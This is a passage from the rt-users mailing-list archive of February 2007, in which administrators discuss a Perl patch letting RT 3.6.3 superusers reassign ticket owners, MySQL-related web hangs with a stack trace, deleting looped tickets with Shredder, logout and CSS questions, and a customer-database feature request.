References: <EF650F471C832344BEBD07E6C0E0DB3F047F3597@abz02be.eurac.edu>
	<C1BF1C58F42A304A899E2933C220F48AAE7B60@COMAIL02.digitalglobe.com>
Message-ID: <45C37EDA.8030304@lbl.gov>

Unless you do a lot of reassigning tickets, I think the two-step method 
is fine. It works so I feel no need to fix it. However, if I did it all 
day, I might seriously want to have the one-step method.

Kenn
LBNL

Nick Metrowsky wrote:
> Hi Michael,
> 
>  
> 
> Thank you for your useful patch. I hope this change makes it into future 
> releases of RT, as it would be logical for Super User to have the 
> ability to change ticket owners, especially if someone has left an 
> organization and the tickets have to be moved to someone else.
> 
>  
> 
> Nick
> 
>  
> 
> *---------------------------------------------------------------------------------*
> 
> *Nick Metrowsky***
> 
> *Consulting System Administrator***
> 
> *303-684-4785 Office***
> 
> *303-684-4100 Fax***
> 
> *nmetrowsky at digitalglobe.com <mailto:nmetrowsky at digitalglobe.com>***
> 
> *DigitalGlobe ?, An Imaging and Information Company*
> 
> *http://www.digitalglobe.com*
> 
> *---------------------------------------------------------------------------------*
> 
> ------------------------------------------------------------------------
> 
> *From:* Peer Michael [mailto:Michael.Peer at eurac.edu]
> *Sent:* Friday, February 02, 2007 12:54 AM
> *To:* Nick Metrowsky; RT Users
> *Subject:* RE: [rt-users] RT 3.6.3: Cannot chnage owner to another user.
> 
>  
> 
> With this diff, superusers can reassign tickets. It works for us.
> 
>  
> 
>  
> 
> --- /opt/rt3/lib/RT/Ticket_Overlay.pm   2005-11-14 21:43:24.000000000 +0100
> +++ /opt/rt3/local/lib/RT/Ticket_Overlay.pm     2007-01-30 
> 17:39:31.000000000 +0100
> @@ -2959,6 +2959,7 @@
>          and    #If we're not stealing
>          ( $self->OwnerObj->Id != $RT::Nobody->Id ) and    #and the 
> owner is set
>          ( $self->CurrentUser->Id ne $self->OwnerObj->Id() )
> +       and (!$self->CurrentUserHasRight('SuperUser')) #and is not superuser
>        ) {                                                 #and it's not us
>          return ( 0,
>                   $self->loc(
> 
>  
> 
>  
> 
>  
> 
> Michael Peer
> 
>  
> 
>  
> 
> ------------------------------------------------------------------------
> 
> *From:* rt-users-bounces at lists.bestpractical.com 
> [mailto:rt-users-bounces at lists.bestpractical.com] *On Behalf Of *Nick 
> Metrowsky
> *Sent:* Thursday, 01 February, 2007 23:25
> *To:* RT Users
> *Subject:* [rt-users] RT 3.6.3: Cannot chnage owner to another user.
> 
> Hi Everyone,
> 
>  
> 
> I have Super User and I cannot change the ownership of a ticket from one 
> person to another. I get an error ?You can only take tickets that are 
> unowned? or ?You can only reassign tickets that you own or that are 
> unowned?. This is definitely a different behavior than that of RT 3.4.4.
> 
>  
> 
> Any ideas on this one?
> 
>  
> 
> Nick
> 
>  
> 
> *---------------------------------------------------------------------------------*
> 
> *Nick Metrowsky***
> 
> *Consulting System Administrator***
> 
> *303-684-4785 Office***
> 
> *303-684-4100 Fax***
> 
> *nmetrowsky at digitalglobe.com <mailto:nmetrowsky at digitalglobe.com>***
> 
> *DigitalGlobe ?, An Imaging and Information Company*
> 
> *http://www.digitalglobe.com*
> 
> *---------------------------------------------------------------------------------*
> 
>  
> 
> 
> ------------------------------------------------------------------------
> 
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> 
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
> 
> 
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
> Buy a copy at http://rtbook.bestpractical.com


From aredman at education.ucsb.edu  Fri Feb  2 12:15:56 2007
From: aredman at education.ucsb.edu (Andrew Redman)
Date: Fri, 02 Feb 2007 09:15:56 -0800
Subject: [rt-users] RT 3.6.3: Cannot chnage owner to another user.
In-Reply-To: <EF650F471C832344BEBD07E6C0E0DB3F047F3597@abz02be.eurac.edu>
References: <EF650F471C832344BEBD07E6C0E0DB3F047F3597@abz02be.eurac.edu>
Message-ID: <45C371CC.40802@education.ucsb.edu>

That diff isn't quite what I got with RT 3.6.3 - Mine looks more like this:

--- /opt/rt3/lib/RT/Ticket_Overlay.pm 2006-12-01 11:00:23.000000000 -0800
+++ /opt/rt3/local/lib/RT/Ticket_Overlay.pm 2007-02-02 
09:07:05.000000000 -0800
@@ -3016,7 +3016,8 @@
# the current user
if ( $Type ne 'Steal' and $Type ne 'Force'
and $OldOwnerObj->Id != $RT::Nobody->Id
- and $OldOwnerObj->Id != $self->CurrentUser->Id )
+ and $OldOwnerObj->Id != $self->CurrentUser->Id
+ and !$self->CurrentUserHasRight('SuperUser'))
{
return ( 0, $self->loc("You can only take tickets that are unowned") )
if $NewOwnerObj->id == $self->CurrentUser->id;


Judging from the date on your diff, you may have not updated your local 
copy of Ticket_Overlay.pm when you updated RT. Either way, thanks for 
the good idea.

Cheers,
Andrew Redman
--
aredman at education.ucsb.edu
Help Desk Consultant
Gevirtz Graduate School of Education
University of California Santa Barbara
--


Peer Michael wrote:
> With this diff, superusers can reassign tickets. It works for us.
> --- /opt/rt3/lib/RT/Ticket_Overlay.pm 2005-11-14 21:43:24.000000000 +0100
> +++ /opt/rt3/local/lib/RT/Ticket_Overlay.pm 2007-01-30 
> 17:39:31.000000000 +0100
> @@ -2959,6 +2959,7 @@
> and #If we're not stealing
> ( $self->OwnerObj->Id != $RT::Nobody->Id ) and #and the owner is set
> ( $self->CurrentUser->Id ne $self->OwnerObj->Id() )
> + and (!$self->CurrentUserHasRight('SuperUser')) #and is not superuser
> ) { #and it's not us
> return ( 0,
> $self->loc(
> Michael Peer
>
> ------------------------------------------------------------------------
> *From:* rt-users-bounces at lists.bestpractical.com 
> [mailto:rt-users-bounces at lists.bestpractical.com] *On Behalf Of *Nick 
> Metrowsky
> *Sent:* Thursday, 01 February, 2007 23:25
> *To:* RT Users
> *Subject:* [rt-users] RT 3.6.3: Cannot chnage owner to another user.
>
> Hi Everyone,
>
> I have Super User and I cannot change the ownership of a ticket from 
> one person to another. I get an error ?You can only take tickets that 
> are unowned? or ?You can only reassign tickets that you own or that 
> are unowned?. This is definitely a different behavior than that of RT 
> 3.4.4.
>
> Any ideas on this one?
>
> Nick
>
> *---------------------------------------------------------------------------------*
>
> *Nick Metrowsky***
>
> *Consulting System Administrator***
>
> *303-684-4785 Office***
>
> *303-684-4100 Fax***
>
> *nmetrowsky at digitalglobe.com <mailto:nmetrowsky at digitalglobe.com>***
>
> *DigitalGlobe ?, An Imaging and Information Company*
>
> *http://www.digitalglobe.com*
>
> *---------------------------------------------------------------------------------*
>
> ------------------------------------------------------------------------
>
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
>
>
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
> Buy a copy at http://rtbook.bestpractical.com
>   
-------------- next part --------------
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From barnesaw at ucrwcu.rwc.uc.edu  Fri Feb  2 13:19:04 2007
From: barnesaw at ucrwcu.rwc.uc.edu (Drew Barnes)
Date: Fri, 02 Feb 2007 13:19:04 -0500
Subject: [rt-users] RT 3.6.3: Cannot chnage owner to another user.
In-Reply-To: <45C37EDA.8030304@lbl.gov>
References: <EF650F471C832344BEBD07E6C0E0DB3F047F3597@abz02be.eurac.edu>	<C1BF1C58F42A304A899E2933C220F48AAE7B60@COMAIL02.digitalglobe.com>
	<45C37EDA.8030304@lbl.gov>
Message-ID: <45C38098.4000202@ucrwcu.rwc.uc.edu>

Would a bulk update with the Force check toggled work as well?


Kenneth Crocker wrote:
> Unless you do a lot of reassigning tickets, I think the two-step 
> method is fine. It works so I feel no need to fix it. However, if I 
> did it all day, I might seriously want to have the one-step method.
>
> Kenn
> LBNL
>
> Nick Metrowsky wrote:
>> Hi Michael,
>>
>>  
>>
>> Thank you for your useful patch. I hope this change makes it into 
>> future releases of RT, as it would be logical for Super User to have 
>> the ability to change ticket owners, especially if someone has left 
>> an organization and the tickets have to be moved to someone else.
>>
>>  
>>
>> Nick
>>
>>  
>>
>> *---------------------------------------------------------------------------------* 
>>
>>
>> *Nick Metrowsky***
>>
>> *Consulting System Administrator***
>>
>> *303-684-4785 Office***
>>
>> *303-684-4100 Fax***
>>
>> *nmetrowsky at digitalglobe.com <mailto:nmetrowsky at digitalglobe.com>***
>>
>> *DigitalGlobe ?, An Imaging and Information Company*
>>
>> *http://www.digitalglobe.com*
>>
>> *---------------------------------------------------------------------------------* 
>>
>>
>> ------------------------------------------------------------------------
>>
>> *From:* Peer Michael [mailto:Michael.Peer at eurac.edu]
>> *Sent:* Friday, February 02, 2007 12:54 AM
>> *To:* Nick Metrowsky; RT Users
>> *Subject:* RE: [rt-users] RT 3.6.3: Cannot chnage owner to another user.
>>
>>  
>>
>> With this diff, superusers can reassign tickets. It works for us.
>>
>>  
>>
>>  
>>
>> --- /opt/rt3/lib/RT/Ticket_Overlay.pm   2005-11-14 21:43:24.000000000 
>> +0100
>> +++ /opt/rt3/local/lib/RT/Ticket_Overlay.pm     2007-01-30 
>> 17:39:31.000000000 +0100
>> @@ -2959,6 +2959,7 @@
>>          and    #If we're not stealing
>>          ( $self->OwnerObj->Id != $RT::Nobody->Id ) and    #and the 
>> owner is set
>>          ( $self->CurrentUser->Id ne $self->OwnerObj->Id() )
>> +       and (!$self->CurrentUserHasRight('SuperUser')) #and is not 
>> superuser
>>        ) {                                                 #and it's 
>> not us
>>          return ( 0,
>>                   $self->loc(
>>
>>  
>>
>>  
>>
>>  
>>
>> Michael Peer
>>
>>  
>>
>>  
>>
>> ------------------------------------------------------------------------
>>
>> *From:* rt-users-bounces at lists.bestpractical.com 
>> [mailto:rt-users-bounces at lists.bestpractical.com] *On Behalf Of *Nick 
>> Metrowsky
>> *Sent:* Thursday, 01 February, 2007 23:25
>> *To:* RT Users
>> *Subject:* [rt-users] RT 3.6.3: Cannot chnage owner to another user.
>>
>> Hi Everyone,
>>
>>  
>>
>> I have Super User and I cannot change the ownership of a ticket from 
>> one person to another. I get an error ?You can only take tickets that 
>> are unowned? or ?You can only reassign tickets that you own or that 
>> are unowned?. This is definitely a different behavior than that of RT 
>> 3.4.4.
>>
>>  
>>
>> Any ideas on this one?
>>
>>  
>>
>> Nick
>>
>>  
>>
>> *---------------------------------------------------------------------------------* 
>>
>>
>> *Nick Metrowsky***
>>
>> *Consulting System Administrator***
>>
>> *303-684-4785 Office***
>>
>> *303-684-4100 Fax***
>>
>> *nmetrowsky at digitalglobe.com <mailto:nmetrowsky at digitalglobe.com>***
>>
>> *DigitalGlobe ?, An Imaging and Information Company*
>>
>> *http://www.digitalglobe.com*
>>
>> *---------------------------------------------------------------------------------* 
>>
>>
>>  
>>
>>
>> ------------------------------------------------------------------------
>>
>> _______________________________________________
>> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>>
>> Community help: http://wiki.bestpractical.com
>> Commercial support: sales at bestpractical.com
>>
>>
>> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
>> Buy a copy at http://rtbook.bestpractical.com
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
>
>
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
> Buy a copy at http://rtbook.bestpractical.com

-- 
Drew Barnes
Applications Analyst
Raymond Walters College
University of Cincinnati



From kfh at mqsoftware.com  Fri Feb  2 14:04:13 2007
From: kfh at mqsoftware.com (Kelly F. Hickel)
Date: Fri, 2 Feb 2007 13:04:13 -0600
Subject: [rt-users] RT State of the Onion?
In-Reply-To: <20070201204615.GV25008@bestpractical.com>
References: <20070201175603.GB18831@cgi.jachomes.com><Pine.LNX.4.64.0702011323100.29914@orange.limedaley.com><63BEA5E623E09F4D92233FB12A9F794397B1D5@emailmn.mqsoftware.com><20070201201047.GC19251@cgi.jachomes.com>
	<20070201204615.GV25008@bestpractical.com>
Message-ID: <63BEA5E623E09F4D92233FB12A9F794397B1E5@emailmn.mqsoftware.com>

> >
> > Thank you, Kelly.  Everyone else's reactions to "customer file" were
> > beginning to make me think *I* was nutsabago.
> >
> 
> Nope. It's a perfectly reasonable feature request. We've specced it
> out
> for customers several times.  To do it "reasonably" as part of RT
> requires that RT own your customer database, which it generally sounds
> like the folks who've been looking for this on the list aren't willing
> to have happen.

We'd be happy enough to have RT own the customer database (or at least
build scripts to morph the data over from the "real" customer database
regularly).  That would be fine, although I'd think people in other
circumstances might prefer a well defined interface so that they could
adapt it to their existing customer db.

> 
> We'd probably model it as RT groups, so that you could usefully model
> who's part of which customer.  The big "hard" bits are probably
> setting
> RT up to not mail everyone from a customer on every issue ;)

Personally I'd probably want a single user still to own the bug, but
have that user somehow belong to the customer entity.

-Kely


From jesse at bestpractical.com  Fri Feb  2 15:55:10 2007
From: jesse at bestpractical.com (Jesse Vincent)
Date: Fri, 2 Feb 2007 15:55:10 -0500
Subject: [rt-users] RT/Apache suddenly hangs
In-Reply-To: <bdbd084b0702020747x50c8d01ai5126308bc02e6870@mail.gmail.com>
References: <Pine.LNX.4.63-L.0702021609010.32691@attila.uio.no>
	<Pine.LNX.4.64.0702021539190.4380@bambam.inf.ed.ac.uk>
	<bdbd084b0702020747x50c8d01ai5126308bc02e6870@mail.gmail.com>
Message-ID: <20070202205510.GF25008@bestpractical.com>




On Fri, Feb 02, 2007 at 04:47:11PM +0100, Torsten Brumm wrote:
> The only thing i found sometimes are messages: Mysql server has gone away,
> but this is causing not in all cases the problems. Nightly, without RT
> usage, the connections from FastCGI are timing out and don't connect
> automatically, but not during the business hours ;-(
>

If it fails during not-business-hours, that suggests "the mysql morning
bug" which might be a reasonable google term.


From jra at baylink.com  Fri Feb  2 16:25:29 2007
From: jra at baylink.com (Jay R. Ashworth)
Date: Fri, 2 Feb 2007 16:25:29 -0500
Subject: [rt-users] RT State of the Onion?
In-Reply-To: <63BEA5E623E09F4D92233FB12A9F794397B1E5@emailmn.mqsoftware.com>
References: <20070201204615.GV25008@bestpractical.com>
	<63BEA5E623E09F4D92233FB12A9F794397B1E5@emailmn.mqsoftware.com>
Message-ID: <20070202212529.GB26657@cgi.jachomes.com>

On Fri, Feb 02, 2007 at 01:04:13PM -0600, Kelly F. Hickel wrote:
> > > Thank you, Kelly.  Everyone else's reactions to "customer file" were
> > > beginning to make me think *I* was nutsabago.
> > 
> > Nope. It's a perfectly reasonable feature request. We've specced it
> > for customers several times.  To do it "reasonably" as part of RT
> > requires that RT own your customer database, which it generally sounds
> > like the folks who've been looking for this on the list aren't willing
> > to have happen.
> 
> We'd be happy enough to have RT own the customer database (or at least
> build scripts to morph the data over from the "real" customer database
> regularly).  That would be fine, although I'd think people in other
> circumstances might prefer a well defined interface so that they could
> adapt it to their existing customer db.

Probably.

> > We'd probably model it as RT groups, so that you could usefully model
> > who's part of which customer.  The big "hard" bits are probably
> > setting
> > RT up to not mail everyone from a customer on every issue ;)
> 
> Personally I'd probably want a single user still to own the bug, but
> have that user somehow belong to the customer entity.

Perhaps you and I ought to go off and kibitz on how, exactly, this
ought to work, semantically, and then see if we can find someone to
make it do that.  :-)

Cheers,
-- jra
-- 
Jay R. Ashworth                                                jra at baylink.com
Designer                          Baylink                             RFC 2100
Ashworth & Associates        The Things I Think                        '87 e24
St Petersburg FL USA      http://baylink.pitas.com             +1 727 647 1274


From ruslan.zakirov at gmail.com  Fri Feb  2 18:54:18 2007
From: ruslan.zakirov at gmail.com (Ruslan Zakirov)
Date: Sat, 3 Feb 2007 02:54:18 +0300
Subject: [rt-users] delete tickets matching a string with RTx-Shredder?
In-Reply-To: <A544871963B4DA4CB7E8F7AA34458D430886D8@ihebe01.ihostexchange.com>
References: <A544871963B4DA4CB7E8F7AA34458D430886D8@ihebe01.ihostexchange.com>
Message-ID: <589c94400702021554n95d6626q4346d85e1333a752@mail.gmail.com>

Mark them as deleted with bulk update tool and then wipeout with shredder.

On 2/2/07, tnguyen at sherweb.com <tnguyen at sherweb.com> wrote:
>
>
>
>
> Hi all,
>
>
>
> Lately I ran into deep troubles with a loop creating dozens of tickets.
>
>
>
> Now I'm trying to delete tickets whose subject matches a certain string.
>
> I installed Shredder but haven't found a way to delete by subject match.
>
>
>
> What do you think I should do?
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
> Truly yours,
>
>
>
> Thibaut
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
>
>
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> Buy a copy at http://rtbook.bestpractical.com
>


-- 
Best regards, Ruslan.


From tom at LS.Berkeley.EDU  Fri Feb  2 21:03:11 2007
From: tom at LS.Berkeley.EDU (Tom Holub)
Date: Fri, 02 Feb 2007 18:03:11 -0800
Subject: [rt-users] Re: RT/Apache suddenly hangs
Message-ID: <45C3ED5F.2090808@LS.berkeley.edu>

I'm having what might be a related issue.  My setup:

RHEL4
Perl 5.8.6 (compiled ourselves)
RT 3.6.3
Apache 2.0.58
mod_perl 2.0.3
mysql-4.1.20-1.RHEL4.1

Our hang happens whenever anyone authenticates to the SelfService interface. 
The page header displays, down to "RT Self Service / Open Tickets" header, and 
then the web page sits there spinning forever.  While it is spinning, mysqld 
is using 100% of CPU, and other RT requests are delayed or also hang indefinitely.

The only solution is to restart mysqld.  Sometimes that causes the server to 
return an error (attached below), but sometimes I also see the runaway Apache 
behavior that Tomas Olaj is seeing, and I need to restart Apache as well.


DBD::mysql::st execute failed: MySQL server has gone away at 
/local/rh/rhel4/depot/perl-5.8.6/lib/site_perl/5.8.6/Apache/Session/Lock/MySQL.pm 
line 70.


Trace begun at 
/local/rh/rhel4/depot/perl-5.8.6/lib/site_perl/5.8.6/HTML/Mason/Exceptions.pm 
line 129
HTML::Mason::Exceptions::rethrow_exception('DBD::mysql::st execute failed: 
MySQL server has gone away at 
/local/rh/rhel4/depot/perl-5.8.6/lib/site_perl/5.8.6/Apache/Session/Lock/MySQL.pm 
line 70.^J') called at 
/local/rh/rhel4/depot/perl-5.8.6/lib/site_perl/5.8.6/Apache/Session/Lock/MySQL.pm 
line 70
Apache::Session::Lock::MySQL::release_read_lock('Apache::Session::Lock::MySQL=HASH(0xa37e170)') 
called at 
/local/rh/rhel4/depot/perl-5.8.6/lib/site_perl/5.8.6/Apache/Session/Lock/MySQL.pm 
line 81
Apache::Session::Lock::MySQL::release_all_locks('Apache::Session::Lock::MySQL=HASH(0xa37e170)') 
called at 
/local/rh/rhel4/depot/perl-5.8.6/lib/site_perl/5.8.6/Apache/Session/Lock/MySQL.pm 
line 87
Apache::Session::Lock::MySQL::DESTROY('Apache::Session::Lock::MySQL=HASH(0xa37e170)') 
called at 
/local/rh/rhel4/depot/perl-5.8.6/lib/site_perl/5.8.6/HTML/Mason/Request.pm 
line 1250
eval {...} at 
/local/rh/rhel4/depot/perl-5.8.6/lib/site_perl/5.8.6/HTML/Mason/Request.pm 
line 1250
HTML::Mason::Request::comp(undef, undef, undef) called at 
/local/rh/rhel4/depot/perl-5.8.6/lib/site_perl/5.8.6/HTML/Mason/Request.pm 
line 460
eval {...} at 
/local/rh/rhel4/depot/perl-5.8.6/lib/site_perl/5.8.6/HTML/Mason/Request.pm 
line 460
eval {...} at 
/local/rh/rhel4/depot/perl-5.8.6/lib/site_perl/5.8.6/HTML/Mason/Request.pm 
line 412
HTML::Mason::Request::exec('HTML::Mason::Request::ApacheHandler=HASH(0xa335574)') 
called at 
/local/rh/rhel4/depot/perl-5.8.6/lib/site_perl/5.8.6/HTML/Mason/ApacheHandler.pm 
line 168
HTML::Mason::Request::ApacheHandler::exec('HTML::Mason::Request::ApacheHandler=HASH(0xa335574)') 
called at 
/local/rh/rhel4/depot/perl-5.8.6/lib/site_perl/5.8.6/HTML/Mason/ApacheHandler.pm 
line 826
HTML::Mason::ApacheHandler::handle_request('HTML::Mason::ApacheHandler=HASH(0x94b8c18)', 
'Apache2::RequestRec=SCALAR(0x936c180)') called at 
/local/rh/rhel4/depot/rt-3.6.3/bin/webmux.pl line 123
eval {...} at /local/rh/rhel4/depot/rt-3.6.3/bin/webmux.pl line 123
RT::Mason::handler('Apache2::RequestRec=SCALAR(0x936c180)') called at -e line 0
eval {...} at -e line 0


-- 
Tom Holub (tom_holub at LS.Berkeley.EDU, 510-642-9069)
Director of Computing, College of Letters & Science
249 Campbell Hall
<http://LS.berkeley.edu/lscr/>


From ruslan.zakirov at gmail.com  Fri Feb  2 23:13:42 2007
From: ruslan.zakirov at gmail.com (Ruslan Zakirov)
Date: Sat, 3 Feb 2007 07:13:42 +0300
Subject: [rt-users] Re: RT/Apache suddenly hangs
In-Reply-To: <45C3ED5F.2090808@LS.berkeley.edu>
References: <45C3ED5F.2090808@LS.berkeley.edu>
Message-ID: <589c94400702022013u6533712cn9fcf3c6543b0c26f@mail.gmail.com>

You're hang is of another sort, it's performance problem, search in
archives message from Dirk Pape just few days ago, as well you can
grab a patch from SVN.

On 2/3/07, Tom Holub <tom at ls.berkeley.edu> wrote:
> I'm having what might be a related issue.  My setup:
>
> RHEL4
> Perl 5.8.6 (compiled ourselves)
> RT 3.6.3
> Apache 2.0.58
> mod_perl 2.0.3
> mysql-4.1.20-1.RHEL4.1
>
> Our hang happens whenever anyone authenticates to the SelfService interface.
> The page header displays, down to "RT Self Service / Open Tickets" header, and
> then the web page sits there spinning forever.  While it is spinning, mysqld
> is using 100% of CPU, and other RT requests are delayed or also hang indefinitely.
>
> The only solution is to restart mysqld.  Sometimes that causes the server to
> return an error (attached below), but sometimes I also see the runaway Apache
> behavior that Tomas Olaj is seeing, and I need to restart Apache as well.
>
>
> DBD::mysql::st execute failed: MySQL server has gone away at
> /local/rh/rhel4/depot/perl-5.8.6/lib/site_perl/5.8.6/Apache/Session/Lock/MySQL.pm
> line 70.
>
>
> Trace begun at
> /local/rh/rhel4/depot/perl-5.8.6/lib/site_perl/5.8.6/HTML/Mason/Exceptions.pm
> line 129
> HTML::Mason::Exceptions::rethrow_exception('DBD::mysql::st execute failed:
> MySQL server has gone away at
> /local/rh/rhel4/depot/perl-5.8.6/lib/site_perl/5.8.6/Apache/Session/Lock/MySQL.pm
> line 70.^J') called at
> /local/rh/rhel4/depot/perl-5.8.6/lib/site_perl/5.8.6/Apache/Session/Lock/MySQL.pm
> line 70
> Apache::Session::Lock::MySQL::release_read_lock('Apache::Session::Lock::MySQL=HASH(0xa37e170)')
> called at
> /local/rh/rhel4/depot/perl-5.8.6/lib/site_perl/5.8.6/Apache/Session/Lock/MySQL.pm
> line 81
> Apache::Session::Lock::MySQL::release_all_locks('Apache::Session::Lock::MySQL=HASH(0xa37e170)')
> called at
> /local/rh/rhel4/depot/perl-5.8.6/lib/site_perl/5.8.6/Apache/Session/Lock/MySQL.pm
> line 87
> Apache::Session::Lock::MySQL::DESTROY('Apache::Session::Lock::MySQL=HASH(0xa37e170)')
> called at
> /local/rh/rhel4/depot/perl-5.8.6/lib/site_perl/5.8.6/HTML/Mason/Request.pm
> line 1250
> eval {...} at
> /local/rh/rhel4/depot/perl-5.8.6/lib/site_perl/5.8.6/HTML/Mason/Request.pm
> line 1250
> HTML::Mason::Request::comp(undef, undef, undef) called at
> /local/rh/rhel4/depot/perl-5.8.6/lib/site_perl/5.8.6/HTML/Mason/Request.pm
> line 460
> eval {...} at
> /local/rh/rhel4/depot/perl-5.8.6/lib/site_perl/5.8.6/HTML/Mason/Request.pm
> line 460
> eval {...} at
> /local/rh/rhel4/depot/perl-5.8.6/lib/site_perl/5.8.6/HTML/Mason/Request.pm
> line 412
> HTML::Mason::Request::exec('HTML::Mason::Request::ApacheHandler=HASH(0xa335574)')
> called at
> /local/rh/rhel4/depot/perl-5.8.6/lib/site_perl/5.8.6/HTML/Mason/ApacheHandler.pm
> line 168
> HTML::Mason::Request::ApacheHandler::exec('HTML::Mason::Request::ApacheHandler=HASH(0xa335574)')
> called at
> /local/rh/rhel4/depot/perl-5.8.6/lib/site_perl/5.8.6/HTML/Mason/ApacheHandler.pm
> line 826
> HTML::Mason::ApacheHandler::handle_request('HTML::Mason::ApacheHandler=HASH(0x94b8c18)',
> 'Apache2::RequestRec=SCALAR(0x936c180)') called at
> /local/rh/rhel4/depot/rt-3.6.3/bin/webmux.pl line 123
> eval {...} at /local/rh/rhel4/depot/rt-3.6.3/bin/webmux.pl line 123
> RT::Mason::handler('Apache2::RequestRec=SCALAR(0x936c180)') called at -e line 0
> eval {...} at -e line 0
>
>
> --
> Tom Holub (tom_holub at LS.Berkeley.EDU, 510-642-9069)
> Director of Computing, College of Letters & Science
> 249 Campbell Hall
> <http://LS.berkeley.edu/lscr/>
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
>
>
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> Buy a copy at http://rtbook.bestpractical.com
>


-- 
Best regards, Ruslan.


From tom at LS.Berkeley.EDU  Fri Feb  2 23:51:50 2007
From: tom at LS.Berkeley.EDU (Tom Holub)
Date: Fri, 02 Feb 2007 20:51:50 -0800
Subject: [rt-users] Re: RT/Apache suddenly hangs
In-Reply-To: <589c94400702022013u6533712cn9fcf3c6543b0c26f@mail.gmail.com>
References: <45C3ED5F.2090808@LS.berkeley.edu>
	<589c94400702022013u6533712cn9fcf3c6543b0c26f@mail.gmail.com>
Message-ID: <45C414E6.2050709@ls.berkeley.edu>

Ruslan Zakirov wrote:
> You're hang is of another sort, it's performance problem, search in
> archives message from Dirk Pape just few days ago, as well you can
> grab a patch from SVN.

Thanks, you're right, Dick Pape's fix worked for me.
(It's still a bit slow, but doesn't hang indefinitely).

-- 
Tom Holub (tom_holub at LS.Berkeley.EDU, 510-642-9069)
Director of Computing, College of Letters & Science
249 Campbell Hall
<http://LS.berkeley.edu/computing/>


From hk at kapper.net  Sat Feb  3 00:03:01 2007
From: hk at kapper.net (Harald Kapper)
Date: Sat, 3 Feb 2007 06:03:01 +0100
Subject: [rt-users] wap / mobile-device css/profile for rt?
Message-ID: <B6B20C3544734746AA2D95843EA921A2068300@xchange.office.kapper.net>

fellow rt-users,
as we're moving support-engineers more on the road, I wondered if anyone
already has implemented stylesheets or reduced html / xhtml-mp / "whatever"
pages in order to use request-tracker on wap/2.0 or similar
small-screen-sized devices.
(and yes office-users still should have the whole cool rt-3.6 view, they're
used to)

any advice appreciated,
harald kapper.
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From ruslan.zakirov at gmail.com  Sat Feb  3 00:40:48 2007
From: ruslan.zakirov at gmail.com (Ruslan Zakirov)
Date: Sat, 3 Feb 2007 08:40:48 +0300
Subject: [rt-users] Re: RT/Apache suddenly hangs
In-Reply-To: <45C414E6.2050709@ls.berkeley.edu>
References: <45C3ED5F.2090808@LS.berkeley.edu>
	<589c94400702022013u6533712cn9fcf3c6543b0c26f@mail.gmail.com>
	<45C414E6.2050709@ls.berkeley.edu>
Message-ID: <589c94400702022140q7938fa25u5a7e2dad359d4c22@mail.gmail.com>

On 2/3/07, Tom Holub <tom at ls.berkeley.edu> wrote:
> Ruslan Zakirov wrote:
> > You're hang is of another sort, it's performance problem, search in
> > archives message from Dirk Pape just few days ago, as well you can
> > grab a patch from SVN.
>
> Thanks, you're right, Dick Pape's fix worked for me.
> (It's still a bit slow, but doesn't hang indefinitely).
I'm working on fix that will make that query fast and several other queries.
>
> --
> Tom Holub (tom_holub at LS.Berkeley.EDU, 510-642-9069)
> Director of Computing, College of Letters & Science
> 249 Campbell Hall
> <http://LS.berkeley.edu/computing/>
>


-- 
Best regards, Ruslan.


From jesse at bestpractical.com  Thu Feb  1 14:16:54 2007
From: jesse at bestpractical.com (Jesse Vincent)
Date: Fri, 02 Feb 2007 08:16:54 +1300
Subject: [rt-users] Logging out is in a loop or something
In-Reply-To: <BAY111-F2523EB2936F6B19CC631AAD9A40@phx.gbl>
References: <BAY111-F2523EB2936F6B19CC631AAD9A40@phx.gbl>
Message-ID: <45C23CA6.2010706@bestpractical.com>

Carlos Ramon Lopez Midence wrote:
> Hello all:
> 
> I have installed the Packaged version of RT-3.6.3-1fc from Fedora Core 6
> everything seems to work fine except that when I try to click on the
> logout button it shows the screen that says " You are logging out now, 
> You may log back again" and brings me to the home page, it doesn't log
> me out as it should, just keep getting this loop back to home page....
> 

Are you using some sort of external authentication? Logging out only
works with RT's internal authentication..and standard builds disable
that link if you're not using it.

Best,
jesse

> If this issue has been discussed before I apologize....Thanks for any help
> 
> 
> Carlos
> 
> _________________________________________________________________
> Valentine?s Day -- Shop for gifts that spell L-O-V-E at MSN Shopping
> http://shopping.msn.com/content/shp/?ctId=8323,ptnrid=37,ptnrdata=24095&tcode=wlmtagline
> 
> 
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> 
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
> 
> 
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. Buy
> a copy at http://rtbook.bestpractical.com
> 


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From joe.casadonte at oracle.com  Sat Feb  3 11:07:57 2007
From: joe.casadonte at oracle.com (Joe Casadonte)
Date: Sat, 03 Feb 2007 11:07:57 -0500
Subject: [rt-users] 3.6.3 CSS - fonts are BIG
Message-ID: <45C4B35D.1050907@oracle.com>

Not necessarily an RT question....

I'm using 3.6.3 and I find the fonts a bit on the large side.  I know a 
little about CSS, but I don't quite know how to do what I want to do.  I 
see that just about all of the font-size definitions are in 'em', which 
is good, because it's relative.  But how do I set what it's relative to?

I know I could go in and change all of the values, but I'd really rather 
keep my CSS changes to a minimum, to ease upgrades.  If I could set the 
base for the relative size to, say, 80% of what it currently is, that 
